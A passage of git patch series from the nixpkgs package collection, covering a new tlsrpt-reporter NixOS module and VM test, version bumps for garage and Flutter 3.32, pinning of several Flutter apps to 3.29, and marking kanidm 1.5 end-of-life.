+        tlsrpt_fetcher = dropNullValues cfg.fetcher.settings;
+      };
+      "tlsrpt/reportd.cfg".source = format.generate "tlsrpt-reportd.cfg" {
+        tlsrpt_reportd = dropNullValues cfg.reportd.settings;
+      };
+    };
+
+    systemd.services.postfix.serviceConfig.SupplementaryGroups = mkIf (
+      config.services.postfix.enable && cfg.collectd.configurePostfix
+    ) [ "tlsrpt" ];
+
+    systemd.services.tlsrpt-collectd = {
+      description = "TLSRPT datagram collector";
+      documentation = [ "man:tlsrpt-collectd(1)" ];
+
+      wantedBy = [ "multi-user.target" ];
+
+      restartTriggers = [ "/etc/tlsrpt/collectd.cfg" ];
+
+      serviceConfig = commonServiceSettings // {
+        ExecStart = toString (
+          [
+            (lib.getExe' cfg.package "tlsrpt-collectd")
+          ]
+          ++ cfg.collectd.extraFlags
+        );
+        IPAddressDeny = "any";
+        PrivateNetwork = true;
+        RestrictAddressFamilies = [ "AF_UNIX" ];
+        RuntimeDirectory = "tlsrpt";
+        RuntimeDirectoryMode = "0750";
+        UMask = "0157";
+      };
+    };
+
+    systemd.services.tlsrpt-reportd = {
+      description = "TLSRPT report generator";
+      documentation = [ "man:tlsrpt-reportd(1)" ];
+
+      wantedBy = [ "multi-user.target" ];
+
+      restartTriggers = [ "/etc/tlsrpt/reportd.cfg" ];
+
+      serviceConfig = commonServiceSettings // {
+        ExecStart = toString (
+          [
+            (lib.getExe' cfg.package "tlsrpt-reportd")
+          ]
+          ++ cfg.reportd.extraFlags
+        );
+        RestrictAddressFamilies = [
+          "AF_INET"
+          "AF_INET6"
+        ];
+        UMask = "0077";
+      };
+    };
+  };
+}

From 8f9e3ed78831257b854f519ccff8a42242f9f824 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Sat, 14 Jun 2025 17:05:35 +0200
Subject: [PATCH 1298/4511] nixos/tests/tlsrpt: init

(cherry picked from commit 2487dcbf51d8f11e1ff0795eb76faf2659f7fe36)
---
 nixos/tests/all-tests.nix                   |  1 +
 nixos/tests/tlsrpt.nix                      | 41 +++++++++++++++++++++
 pkgs/by-name/tl/tlsrpt-reporter/package.nix |  5 +++
 3 files changed, 47 insertions(+)
 create mode 100644 nixos/tests/tlsrpt.nix

diff --git a/nixos/tests/all-tests.nix b/nixos/tests/all-tests.nix
index b5ac575ad25c..ac484fac669a 100644
--- a/nixos/tests/all-tests.nix
+++ b/nixos/tests/all-tests.nix
@@ -1375,6 +1375,7 @@ in
   tmate-ssh-server = handleTest ./tmate-ssh-server.nix { };
   tomcat = handleTest ./tomcat.nix { };
   tor = handleTest ./tor.nix { };
+  tlsrpt = runTest ./tlsrpt.nix;
   tpm-ek = handleTest ./tpm-ek { };
   traefik = runTestOn [ "aarch64-linux" "x86_64-linux" ] ./traefik.nix;
   trafficserver = handleTest ./trafficserver.nix { };
diff --git a/nixos/tests/tlsrpt.nix b/nixos/tests/tlsrpt.nix
new file mode 100644
index 000000000000..ccbb5c25e0fc
--- /dev/null
+++ b/nixos/tests/tlsrpt.nix
@@ -0,0 +1,41 @@
+{
+  pkgs,
+  ...
+}:
+
+{
+  name = "tlsrpt";
+
+  meta = {
+    inherit (pkgs.tlsrpt-reporter.meta) maintainers;
+  };
+
+  nodes.machine = {
+    services.tlsrpt = {
+      enable = true;
+      reportd.settings = {
+        organization_name = "NixOS Testers United";
+        contact_info = "smtp-tls-report@localhost";
+        sender_address = "noreply@localhost";
+      };
+    };
+
+    # To test the postfix integration
+    services.postfix.enable = true;
+  };
+
+  testScript = ''
+    machine.wait_for_unit("tlsrpt-collectd.service")
+    machine.wait_for_unit("tlsrpt-reportd.service")
+
+    machine.wait_for_file("/run/tlsrpt/collectd.sock")
+    machine.wait_until_succeeds("journalctl -o cat -u tlsrpt-collectd | grep -Pq 'Database .* setup finished'")
+    machine.wait_until_succeeds("journalctl -o cat -u tlsrpt-reportd | grep -Pq 'Database .* setup finished'")
+
+    # Enabling postfix should put sendmail as the sendmail setting
+    machine.succeed("grep -q sendmail_script=sendmail /etc/tlsrpt/reportd.cfg")
+    machine.succeed("systemctl show --property SupplementaryGroups postfix.service | grep tlsrpt")
+
+    machine.log(machine.succeed("systemd-analyze security tlsrpt-collectd.service tlsrpt-reportd.service | grep -v ✓"))
+  '';
+}
diff --git a/pkgs/by-name/tl/tlsrpt-reporter/package.nix b/pkgs/by-name/tl/tlsrpt-reporter/package.nix
index 62ae4b631305..713870ae063e 100644
--- a/pkgs/by-name/tl/tlsrpt-reporter/package.nix
+++ b/pkgs/by-name/tl/tlsrpt-reporter/package.nix
@@ -5,6 +5,7 @@
   installShellFiles,
   python3,
   fetchFromGitHub,
+  nixosTests,
 }:
 
 python3.pkgs.buildPythonApplication rec {
@@ -50,6 +51,10 @@ python3.pkgs.buildPythonApplication rec {
     "tlsrpt_reporter"
   ];
 
+  passthru.tests = {
+    inherit (nixosTests) tlsrpt;
+  };
+
   meta = {
     description = "Application suite to receive TLSRPT datagrams and to generate and deliver TLSRPT reports";
     homepage = "https://github.com/sys4/tlsrpt-reporter";

From 89a6f77a0ed4ee4bd450a4da393a4bb8414ed670 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Fri, 20 Jun 2025 14:55:12 +0200
Subject: [PATCH 1299/4511] tlsrpt-reporter: apply patch for fetcher issue when
 no db exists

The fetcher would then error out and not return the proper protocol
version to the reportd instance, causing an error message.

This is annoying, because I want to match success in the test.

(cherry picked from commit 35e471ad45b7fdf1c1f5a7e624a15671994888ae)
---
 nixos/tests/tlsrpt.nix                      | 1 +
 pkgs/by-name/tl/tlsrpt-reporter/package.nix | 9 +++++++++
 2 files changed, 10 insertions(+)

diff --git a/nixos/tests/tlsrpt.nix b/nixos/tests/tlsrpt.nix
index ccbb5c25e0fc..d93ac78b5240 100644
--- a/nixos/tests/tlsrpt.nix
+++ b/nixos/tests/tlsrpt.nix
@@ -31,6 +31,7 @@
     machine.wait_for_file("/run/tlsrpt/collectd.sock")
     machine.wait_until_succeeds("journalctl -o cat -u tlsrpt-collectd | grep -Pq 'Database .* setup finished'")
     machine.wait_until_succeeds("journalctl -o cat -u tlsrpt-reportd | grep -Pq 'Database .* setup finished'")
+    machine.wait_until_succeeds("journalctl -o cat -u tlsrpt-reportd | grep -Pq 'Fetcher .* finished'")
 
     # Enabling postfix should put sendmail as the sendmail setting
     machine.succeed("grep -q sendmail_script=sendmail /etc/tlsrpt/reportd.cfg")
diff --git a/pkgs/by-name/tl/tlsrpt-reporter/package.nix b/pkgs/by-name/tl/tlsrpt-reporter/package.nix
index 713870ae063e..bbd2a6e94c4a 100644
--- a/pkgs/by-name/tl/tlsrpt-reporter/package.nix
+++ b/pkgs/by-name/tl/tlsrpt-reporter/package.nix
@@ -5,6 +5,7 @@
   installShellFiles,
   python3,
   fetchFromGitHub,
+  fetchpatch,
   nixosTests,
 }:
 
@@ -25,6 +26,14 @@ python3.pkgs.buildPythonApplication rec {
     hash = "sha256-IH8hJX9l+YonqOuszcMome4mjdIaedgGNIptxTyH1ng=";
   };
 
+  patches = [
+    (fetchpatch {
+      # https://github.com/sys4/tlsrpt-reporter/issues/43
+      url = "https://github.com/sys4/tlsrpt-reporter/commit/32d00c13508dd7f9695b77e253e88c88dc838fbd.patch";
+      hash = "sha256-RUNF86RkTu6DLv6/7eaY//fFB8kGzmZxQ70kdNpLxj8=";
+    })
+  ];
+
   nativeBuildInputs = [
     asciidoctor
     automake

From 6bfd7dd9c028a871ca59b780f0115e4fde84e2c1 Mon Sep 17 00:00:00 2001
From: Tom Herbers <mail@tomherbers.de>
Date: Sun, 15 Jun 2025 22:08:12 +0200
Subject: [PATCH 1300/4511] garage: 1.1.0 -> 1.2.0

(cherry picked from commit 82f877b9fe30cb542a390fb05328b72e28bd1b80)
---
 pkgs/tools/filesystems/garage/default.nix | 10 +++++-----
 pkgs/top-level/all-packages.nix           |  2 +-
 2 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/tools/filesystems/garage/default.nix b/pkgs/tools/filesystems/garage/default.nix
index 2a7e4d5e5710..a33b3587185e 100644
--- a/pkgs/tools/filesystems/garage/default.nix
+++ b/pkgs/tools/filesystems/garage/default.nix
@@ -131,17 +131,17 @@ rec {
     cargoPatches = [ ./update-time.patch ];
   };
 
-  garage_1_1_0 = generic {
-    version = "1.1.0";
-    hash = "sha256-ysf/GYR39trXTPRdw8uB6E4YDp4nAR8dbU9k9rQTxz0=";
-    cargoHash = "sha256-SkDr/e9YZ3raTGucaiv/RV2zF9tEDIeqZeri6Xk3xEU=";
+  garage_1_2_0 = generic {
+    version = "1.2.0";
+    hash = "sha256-JoOwCbChSL7mjegnLHOH2Abfmsnw9BwNsjFj7nqBN6o=";
+    cargoHash = "sha256-vcvD0Fn/etnAuXrM3+rj16cqpEmW2nzRmrjXsftKTFE=";
   };
 
   garage_0_8 = garage_0_8_7;
 
   garage_0_9 = garage_0_9_4;
 
-  garage_1_x = garage_1_1_0;
+  garage_1_x = garage_1_2_0;
 
   garage = garage_1_x;
 }
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 0960b45da6a5..072479170f1e 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -3057,7 +3057,7 @@ with pkgs;
     garage_0_9
     garage_0_8_7
     garage_0_9_4
-    garage_1_1_0
+    garage_1_2_0
     garage_1_x
     ;
 

From e507c6c3d3fcb964b98851f6335f57bd45adce94 Mon Sep 17 00:00:00 2001
From: Sergei Trofimovich <slyich@gmail.com>
Date: Fri, 20 Jun 2025 07:16:30 +0100
Subject: [PATCH 1301/4511] actual-server.webUi: remove non-existent attribute
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Before ther change `actual-server` exported unevaluatable `webUi`
attribute:

    $ nix eval --impure --expr 'with import ./. {}; actual-server.webUi'
    error:
       … while evaluating the attribute 'webUi'
         at pkgs/by-name/ac/actual-server/package.nix:111:39:
          110|   passthru = {
          111|     inherit (finalAttrs) offlineCache webUi;
             |                                       ^
          112|     tests = nixosTests.actual;

       error: attribute 'webUi' missing
       at pkgs/by-name/ac/actual-server/package.nix:111:39:
          110|   passthru = {
          111|     inherit (finalAttrs) offlineCache webUi;
             |                                       ^
          112|     tests = nixosTests.actual;

(cherry picked from commit 74d37cf3481117423817fa0d605f4945a6417030)
---
 pkgs/by-name/ac/actual-server/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/ac/actual-server/package.nix b/pkgs/by-name/ac/actual-server/package.nix
index 9bd37d184250..98dab0b6b714 100644
--- a/pkgs/by-name/ac/actual-server/package.nix
+++ b/pkgs/by-name/ac/actual-server/package.nix
@@ -108,7 +108,7 @@ stdenv.mkDerivation (finalAttrs: {
   '';
 
   passthru = {
-    inherit (finalAttrs) offlineCache webUi;
+    inherit (finalAttrs) offlineCache;
     tests = nixosTests.actual;
   };
 

From 374afb60c85df8695d208034182badef39342805 Mon Sep 17 00:00:00 2001
From: emaryn <emaryn@users.noreply.github.com>
Date: Wed, 21 May 2025 16:45:58 +0800
Subject: [PATCH 1302/4511] flutter332: 3.32.0-0.4.pre -> 3.32.0

(cherry picked from commit 21da167f472c2e9089a522c13b098ecb79342c7b)
---
 .../compilers/flutter/versions/3_32/data.json | 86 +++++++++----------
 .../3_32/patches/fix-native-assets.patch      | 38 ++++++++
 2 files changed, 81 insertions(+), 43 deletions(-)
 create mode 100644 pkgs/development/compilers/flutter/versions/3_32/patches/fix-native-assets.patch

diff --git a/pkgs/development/compilers/flutter/versions/3_32/data.json b/pkgs/development/compilers/flutter/versions/3_32/data.json
index 42781fe3577d..a4e1d1db18c4 100644
--- a/pkgs/development/compilers/flutter/versions/3_32/data.json
+++ b/pkgs/development/compilers/flutter/versions/3_32/data.json
@@ -1,73 +1,73 @@
 {
-  "version": "3.32.0-0.4.pre",
-  "engineVersion": "38e19d01dcac654bbb941b771cc06efd4ed4a93f",
+  "version": "3.32.0",
+  "engineVersion": "18818009497c581ede5d8a3b8b833b81d00cebb7",
   "engineSwiftShaderHash": "sha256-ATVcuxqPHqHOWYyO7DoX9LdgUiO3INUi7m9Mc6ccc1M=",
   "engineSwiftShaderRev": "d040a5bab638bf7c226235c95787ba6288bb6416",
-  "channel": "beta",
+  "channel": "stable",
   "engineHashes": {
     "aarch64-linux": {
-      "aarch64-linux": "sha256-qAibCHpb582058h/62f3/EnWrKDMrci0dUrEc2BjE6Q=",
-      "x86_64-linux": "sha256-qAibCHpb582058h/62f3/EnWrKDMrci0dUrEc2BjE6Q="
+      "aarch64-linux": "sha256-zGlgnVbNPZ9OX5VFxaajc8xqPKftzZMkyem2NLk8EH8=",
+      "x86_64-linux": "sha256-zGlgnVbNPZ9OX5VFxaajc8xqPKftzZMkyem2NLk8EH8="
     },
     "x86_64-linux": {
-      "aarch64-linux": "sha256-hekNsaCiB7cKuD9+6coKs556KfNnkcPtuOIYI5lC1NA=",
-      "x86_64-linux": "sha256-hekNsaCiB7cKuD9+6coKs556KfNnkcPtuOIYI5lC1NA="
+      "aarch64-linux": "sha256-TWwsPtAnkQzsvNLUd5Q3G80ALeh7nM/XV4M6rfBvUGY=",
+      "x86_64-linux": "sha256-TWwsPtAnkQzsvNLUd5Q3G80ALeh7nM/XV4M6rfBvUGY="
     }
   },
-  "dartVersion": "3.8.0-278.4.beta",
+  "dartVersion": "3.8.0",
   "dartHash": {
-    "x86_64-linux": "sha256-jyLGethyv9KGGV9IjlXnSno6oJTwUFpR8wsgVbT+UTY=",
-    "aarch64-linux": "sha256-NEYfdqLA5+Po9fI0YfAbsXPMgaEkhkDfm2XHOROU4MM=",
-    "x86_64-darwin": "sha256-09AvWYmW2LHaUe2hTv/EVGwjY6GTCV7reiqUVQKDkrM=",
-    "aarch64-darwin": "sha256-IwJJGFW+hdt7Yb86DdGxWjiEp0XJnLJUzqJvKrN9iTs="
+    "x86_64-linux": "sha256-/b6dNwqeMymHKI4cz2ggfVtcHWtdsrlVyEZ1Z2G0RKw=",
+    "aarch64-linux": "sha256-tXIeGM7n1lx9GOwOMEFapiW0sHBlhupx5NCAtFd73Pk=",
+    "x86_64-darwin": "sha256-wD9Z3J29N4ecWKmCetj5GnbTQ8LiJ1tZFEbPuG6ny5w=",
+    "aarch64-darwin": "sha256-IIFn6OTpTH8LzwZzF7V8yUrhHkjavMUWX7n62YEMABk="
   },
-  "flutterHash": "sha256-+UQNtN0BrSxEwGdnb9f63Bg46q+zKwqStYBKgIB/hic=",
+  "flutterHash": "sha256-Wk84RfnPvPVVnnbwGcnHIcRnu3Kizo2AkRQbVSEw+1M=",
   "artifactHashes": {
     "android": {
-      "aarch64-darwin": "sha256-bknwCOFzj6Qj63I4VwTvuedmvLjdvCDdSpf9fFiRha0=",
-      "aarch64-linux": "sha256-tHl0+NBCDcn/JJ+XJ8Ow5yFHK3UiUIzpjCuOddgVEiE=",
-      "x86_64-darwin": "sha256-bknwCOFzj6Qj63I4VwTvuedmvLjdvCDdSpf9fFiRha0=",
-      "x86_64-linux": "sha256-tHl0+NBCDcn/JJ+XJ8Ow5yFHK3UiUIzpjCuOddgVEiE="
+      "aarch64-darwin": "sha256-+YUzIG/qUFb4X2ftR6Gf0h1mt/5Dy59B7QD09X1XVYY=",
+      "aarch64-linux": "sha256-lZIo8AGzrXant29kfiOKlfQ0SJAPXpsdZCaKfqxn0zA=",
+      "x86_64-darwin": "sha256-+YUzIG/qUFb4X2ftR6Gf0h1mt/5Dy59B7QD09X1XVYY=",
+      "x86_64-linux": "sha256-lZIo8AGzrXant29kfiOKlfQ0SJAPXpsdZCaKfqxn0zA="
     },
     "fuchsia": {
-      "aarch64-darwin": "sha256-JkxTpBlkmlq+ENnUBqRTGITVjHsicPN1p99XlGhdCPc=",
-      "aarch64-linux": "sha256-JkxTpBlkmlq+ENnUBqRTGITVjHsicPN1p99XlGhdCPc=",
-      "x86_64-darwin": "sha256-JkxTpBlkmlq+ENnUBqRTGITVjHsicPN1p99XlGhdCPc=",
-      "x86_64-linux": "sha256-JkxTpBlkmlq+ENnUBqRTGITVjHsicPN1p99XlGhdCPc="
+      "aarch64-darwin": "sha256-F4uNyPIt6FSVCSOjR6mtgHHMMcJd3pAdT4uEiBJSASk=",
+      "aarch64-linux": "sha256-F4uNyPIt6FSVCSOjR6mtgHHMMcJd3pAdT4uEiBJSASk=",
+      "x86_64-darwin": "sha256-F4uNyPIt6FSVCSOjR6mtgHHMMcJd3pAdT4uEiBJSASk=",
+      "x86_64-linux": "sha256-F4uNyPIt6FSVCSOjR6mtgHHMMcJd3pAdT4uEiBJSASk="
     },
     "ios": {
-      "aarch64-darwin": "sha256-PlFE5eoLdJOsnWR5QfENrGR0WQ0nP7ZkeBMbjpD12GU=",
-      "aarch64-linux": "sha256-PlFE5eoLdJOsnWR5QfENrGR0WQ0nP7ZkeBMbjpD12GU=",
-      "x86_64-darwin": "sha256-PlFE5eoLdJOsnWR5QfENrGR0WQ0nP7ZkeBMbjpD12GU=",
-      "x86_64-linux": "sha256-PlFE5eoLdJOsnWR5QfENrGR0WQ0nP7ZkeBMbjpD12GU="
+      "aarch64-darwin": "sha256-HlGXG7hyi4oCdN4bGP6GYa++rTruZC7v+laR4733xS4=",
+      "aarch64-linux": "sha256-HlGXG7hyi4oCdN4bGP6GYa++rTruZC7v+laR4733xS4=",
+      "x86_64-darwin": "sha256-HlGXG7hyi4oCdN4bGP6GYa++rTruZC7v+laR4733xS4=",
+      "x86_64-linux": "sha256-HlGXG7hyi4oCdN4bGP6GYa++rTruZC7v+laR4733xS4="
     },
     "linux": {
-      "aarch64-darwin": "sha256-GLG6kNllEwbdsF1pJ5MPZ14Pqpw2nCkadthECfk6FD8=",
-      "aarch64-linux": "sha256-GLG6kNllEwbdsF1pJ5MPZ14Pqpw2nCkadthECfk6FD8=",
-      "x86_64-darwin": "sha256-aq/yB8vH9lQwv2sbVg0PlZBuLOUTeO0ptuEqBJuUUvU=",
-      "x86_64-linux": "sha256-aq/yB8vH9lQwv2sbVg0PlZBuLOUTeO0ptuEqBJuUUvU="
+      "aarch64-darwin": "sha256-y/xxUQK/9GeXjMTUPZSGhfP83rJzCm1Pd2PMjnAHdnk=",
+      "aarch64-linux": "sha256-y/xxUQK/9GeXjMTUPZSGhfP83rJzCm1Pd2PMjnAHdnk=",
+      "x86_64-darwin": "sha256-P5UQiY4QHLJQMmTpTfTFfh6QrqelhWyaGpSXNtM8vJE=",
+      "x86_64-linux": "sha256-P5UQiY4QHLJQMmTpTfTFfh6QrqelhWyaGpSXNtM8vJE="
     },
     "macos": {
-      "aarch64-darwin": "sha256-XMtNe03SXtmBc9i588N7BTRg/xqLCohEjovDXHC1hpI=",
-      "aarch64-linux": "sha256-XMtNe03SXtmBc9i588N7BTRg/xqLCohEjovDXHC1hpI=",
-      "x86_64-darwin": "sha256-XMtNe03SXtmBc9i588N7BTRg/xqLCohEjovDXHC1hpI=",
-      "x86_64-linux": "sha256-XMtNe03SXtmBc9i588N7BTRg/xqLCohEjovDXHC1hpI="
+      "aarch64-darwin": "sha256-FkvjRiKWa/FUITdwK1ldLCcsfjs8nrH7L0mXGHnVIko=",
+      "aarch64-linux": "sha256-FkvjRiKWa/FUITdwK1ldLCcsfjs8nrH7L0mXGHnVIko=",
+      "x86_64-darwin": "sha256-FkvjRiKWa/FUITdwK1ldLCcsfjs8nrH7L0mXGHnVIko=",
+      "x86_64-linux": "sha256-FkvjRiKWa/FUITdwK1ldLCcsfjs8nrH7L0mXGHnVIko="
     },
     "universal": {
-      "aarch64-darwin": "sha256-EocA/pXkEw7fe0fdDkC/WDk5JAVlwTJybNAQDw0/wO4=",
-      "aarch64-linux": "sha256-yIwNmd0DVsLsEUH1+W4AeJXf9l/WIC8HLbHooIZdqk0=",
-      "x86_64-darwin": "sha256-5Y5gRLoCzTYuP4JXf9APKbHXl+khuzleQIxNiWyVjbM=",
-      "x86_64-linux": "sha256-jqe3Z4caAe890CeJST9pAjgunGJsqnycGFqNvn8XNAI="
+      "aarch64-darwin": "sha256-bt/UiY3t1wZUnpMo1uVQPdlG/7X+OrAOZRXIaXKH3Ls=",
+      "aarch64-linux": "sha256-NShVNyK6Cx5bddhv6hg3rM+QPczrm2MmHCgb14h78SA=",
+      "x86_64-darwin": "sha256-zXSufTmlyaHM0fJinirUfB3XjD3dzKFD6iyhUADsyQY=",
+      "x86_64-linux": "sha256-MQw71FYYuLKd60cwMddAjVe9vgwx8MR4xVe0Z9J7uAo="
     },
     "web": {
-      "aarch64-darwin": "sha256-CBW+e9/dI+3Osu6AyiUrMej9/viz26nh490uHP7l9JA=",
-      "aarch64-linux": "sha256-CBW+e9/dI+3Osu6AyiUrMej9/viz26nh490uHP7l9JA=",
-      "x86_64-darwin": "sha256-CBW+e9/dI+3Osu6AyiUrMej9/viz26nh490uHP7l9JA=",
-      "x86_64-linux": "sha256-CBW+e9/dI+3Osu6AyiUrMej9/viz26nh490uHP7l9JA="
+      "aarch64-darwin": "sha256-dpMJQsUd98X+tmUnqRZQ1o5g334i7dyxBNvg2znJeaE=",
+      "aarch64-linux": "sha256-dpMJQsUd98X+tmUnqRZQ1o5g334i7dyxBNvg2znJeaE=",
+      "x86_64-darwin": "sha256-dpMJQsUd98X+tmUnqRZQ1o5g334i7dyxBNvg2znJeaE=",
+      "x86_64-linux": "sha256-dpMJQsUd98X+tmUnqRZQ1o5g334i7dyxBNvg2znJeaE="
     },
     "windows": {
-      "x86_64-darwin": "sha256-VUa58cPGlNstQS1QIkC8vhtdA7a/qPC9FMtFM32G2xg=",
-      "x86_64-linux": "sha256-VUa58cPGlNstQS1QIkC8vhtdA7a/qPC9FMtFM32G2xg="
+      "x86_64-darwin": "sha256-3ZfYqlyjBaBaZjxp9k2DCsD4QZL/+fbXfCFxX3i4Q/Q=",
+      "x86_64-linux": "sha256-3ZfYqlyjBaBaZjxp9k2DCsD4QZL/+fbXfCFxX3i4Q/Q="
     }
   },
   "pubspecLock": {
diff --git a/pkgs/development/compilers/flutter/versions/3_32/patches/fix-native-assets.patch b/pkgs/development/compilers/flutter/versions/3_32/patches/fix-native-assets.patch
new file mode 100644
index 000000000000..3e266db224f3
--- /dev/null
+++ b/pkgs/development/compilers/flutter/versions/3_32/patches/fix-native-assets.patch
@@ -0,0 +1,38 @@
+This patch introducing error handling in the invocation of packagesWithNativeAssets within flutter_tools.
+
+--- a/packages/flutter_tools/lib/src/isolated/native_assets/native_assets.dart
++++ b/packages/flutter_tools/lib/src/isolated/native_assets/native_assets.dart
+@@ -357,7 +357,15 @@
+ }
+
+ Future<bool> _nativeBuildRequired(FlutterNativeAssetsBuildRunner buildRunner) async {
+-  final List<String> packagesWithNativeAssets = await buildRunner.packagesWithNativeAssets();
++  late final List<String> packagesWithNativeAssets;
++  try {
++    packagesWithNativeAssets = await buildRunner.packagesWithNativeAssets();
++  } catch (error, stackTrace) {
++    globals.logger.printTrace(
++      'Error while checking for native assets packages: $error\n$stackTrace'
++    );
++    packagesWithNativeAssets = <String>[];
++  }
+   if (packagesWithNativeAssets.isEmpty) {
+     globals.logger.printTrace(
+       'No packages with native assets. Skipping native assets compilation.',
+@@ -385,7 +393,15 @@
+   FileSystem fileSystem,
+   FlutterNativeAssetsBuildRunner buildRunner,
+ ) async {
+-  final List<String> packagesWithNativeAssets = await buildRunner.packagesWithNativeAssets();
++  late final List<String> packagesWithNativeAssets;
++  try {
++    packagesWithNativeAssets = await buildRunner.packagesWithNativeAssets();
++  } catch (error, stackTrace) {
++    globals.logger.printTrace(
++      'Error while checking for native assets packages: $error\n$stackTrace'
++    );
++    packagesWithNativeAssets = <String>[];
++  }
+   if (packagesWithNativeAssets.isEmpty) {
+     globals.logger.printTrace(
+       'No packages with native assets. Skipping native assets compilation.',

From 061632b8ff4019b69dfd426c3f13b90fd00ac7c7 Mon Sep 17 00:00:00 2001
From: emaryn <emaryn@users.noreply.github.com>
Date: Wed, 21 May 2025 17:06:15 +0800
Subject: [PATCH 1303/4511] firmware-updater: pin in flutter329

(cherry picked from commit ce4d778179f86babed9c54875f42c89b47e9697d)
---
 pkgs/by-name/fi/firmware-updater/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/fi/firmware-updater/package.nix b/pkgs/by-name/fi/firmware-updater/package.nix
index ec75a2e8eb65..b88ad94a9c21 100644
--- a/pkgs/by-name/fi/firmware-updater/package.nix
+++ b/pkgs/by-name/fi/firmware-updater/package.nix
@@ -1,11 +1,11 @@
 {
   lib,
   writeText,
-  flutter,
+  flutter329,
   fetchFromGitHub,
 }:
 
-flutter.buildFlutterApplication rec {
+flutter329.buildFlutterApplication rec {
   pname = "firmware-updater";
   version = "0-unstable-2024-20-11";
 

From 9a91909c8ad2e4b23868ab4248d213af154e7407 Mon Sep 17 00:00:00 2001
From: emaryn <emaryn@users.noreply.github.com>
Date: Wed, 21 May 2025 17:07:33 +0800
Subject: [PATCH 1304/4511] libretrack: pin in flutterPackages-source.v3_29

(cherry picked from commit b041c5c2aa081ae256269af9d9d74556f1857860)
---
 pkgs/by-name/li/libretrack/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/li/libretrack/package.nix b/pkgs/by-name/li/libretrack/package.nix
index 0d238702d7ec..a2e37af40362 100644
--- a/pkgs/by-name/li/libretrack/package.nix
+++ b/pkgs/by-name/li/libretrack/package.nix
@@ -5,7 +5,7 @@
   libappindicator,
 }:
 
-flutterPackages-source.stable.buildFlutterApplication rec {
+flutterPackages-source.v3_29.buildFlutterApplication rec {
   pname = "libretrack";
   version = "1.7.0";
 

From f29c05b0a48717166e7793749ab7c4db5b1a3fae Mon Sep 17 00:00:00 2001
From: emaryn <emaryn@users.noreply.github.com>
Date: Wed, 21 May 2025 17:21:04 +0800
Subject: [PATCH 1305/4511] finamp: pin in flutter329

(cherry picked from commit 58d68d16027c3bc541f2bbeda61f83633e4cb431)
---
 pkgs/by-name/fi/finamp/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/fi/finamp/package.nix b/pkgs/by-name/fi/finamp/package.nix
index c0c2c69ddd9a..88faddb00d3a 100644
--- a/pkgs/by-name/fi/finamp/package.nix
+++ b/pkgs/by-name/fi/finamp/package.nix
@@ -1,7 +1,7 @@
 {
   lib,
   stdenv,
-  flutter,
+  flutter329,
   mpv-unwrapped,
   patchelf,
   fetchFromGitHub,
@@ -11,7 +11,7 @@
 let
   version = "0.9.16-beta";
 in
-flutter.buildFlutterApplication {
+flutter329.buildFlutterApplication {
   inherit version;
   pname = "finamp";
   src = fetchFromGitHub {

From 6caf67511ea7cbf255ca8875af928dd03d8d18f8 Mon Sep 17 00:00:00 2001
From: emaryn <emaryn@users.noreply.github.com>
Date: Wed, 21 May 2025 17:21:37 +0800
Subject: [PATCH 1306/4511] cwtch-ui: pin in flutter329

(cherry picked from commit 348f6516190fd4cd1f019c279a41988ad5d23ae8)
---
 pkgs/by-name/cw/cwtch-ui/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/cw/cwtch-ui/package.nix b/pkgs/by-name/cw/cwtch-ui/package.nix
index 957ff202c818..97199ed5092f 100644
--- a/pkgs/by-name/cw/cwtch-ui/package.nix
+++ b/pkgs/by-name/cw/cwtch-ui/package.nix
@@ -1,7 +1,7 @@
 {
   cwtch,
   fetchgit,
-  flutter,
+  flutter329,
   lib,
   tor,
 }:
@@ -10,7 +10,7 @@ let
     tor
   ];
 in
-flutter.buildFlutterApplication rec {
+flutter329.buildFlutterApplication rec {
   pname = "cwtch-ui";
   version = "1.15.5";
   # This Gitea instance has archive downloads disabled, so: fetchgit

From 6baba604d9c09e03e65d9d6bba1730d681923723 Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Wed, 18 Jun 2025 13:15:36 -0400
Subject: [PATCH 1307/4511] kanidm_1_5: mark EOL

(cherry picked from commit a40dde31b63a5c3748090b77d0f4a76b9618ca0f)
---
 pkgs/by-name/ka/kanidm/1_5.nix | 1 +
 pkgs/top-level/release.nix     | 3 ++-
 2 files changed, 3 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/ka/kanidm/1_5.nix b/pkgs/by-name/ka/kanidm/1_5.nix
index 93afad5ee0f8..3d45f6b1e923 100644
--- a/pkgs/by-name/ka/kanidm/1_5.nix
+++ b/pkgs/by-name/ka/kanidm/1_5.nix
@@ -3,4 +3,5 @@ import ./generic.nix {
   hash = "sha256-swrqyjA7Wgq17vd+753LDFcXrSFixVNLhTvj1bhG3DU=";
   cargoHash = "sha256-72IwS8Nk1y6xDH9y8JW2LpbhFWaq0tpORx7JQSCF5/M=";
   patchDir = ./patches/1_5;
+  unsupported = true;
 }
diff --git a/pkgs/top-level/release.nix b/pkgs/top-level/release.nix
index 7126252d7976..61218537e7e3 100644
--- a/pkgs/top-level/release.nix
+++ b/pkgs/top-level/release.nix
@@ -43,7 +43,8 @@
       # so users choosing to allow don't have to rebuild them every time.
       permittedInsecurePackages = [
         "olm-3.2.16" # see PR #347899
-        "kanidm_1_4-1.4.6"
+        "kanidm_1_5-1.5.0"
+        "kanidmWithSecretProvisioning_1_5-1.5.0"
       ];
     };
 

From 9151f6557b9c48cdf0fc8cfa07d63433a9be0a2d Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Wed, 18 Jun 2025 13:15:36 -0400
Subject: [PATCH 1308/4511] kanidm_1_4: remove

